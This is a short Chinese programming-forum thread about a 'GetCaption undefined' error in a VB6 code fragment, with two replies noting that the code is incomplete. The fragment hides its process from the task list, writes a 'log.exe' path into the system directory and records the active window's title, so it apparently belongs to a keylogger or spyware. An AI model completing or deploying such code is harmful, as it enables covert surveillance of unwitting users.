GetCaption未定义

[欧阳海修]

Private Sub Form_Load()
Timer1.Enabled = False
Timer2.Enabled = False
For Each ctl In Me.Controls
If TypeOf ctl Is TextBox Then
ctl.Text = ""
End If
Next
App.TaskVisible = False '隐藏进程
If App.PrevInstance Then '防止重复运行
End If
Dim mypath As String
Dim r As Long
Dim keyhand As Long
Dim regfpath As String
regfpath = systempath & "\log.exe"
currentwindow = GetCaption(GetForegroundWindow)
'获得当前窗口.
'-----------------------------------------------

[愤怒的程序员]

代码不全，无法判断。。

[chinaboyzyq]

需要有GetCaption函数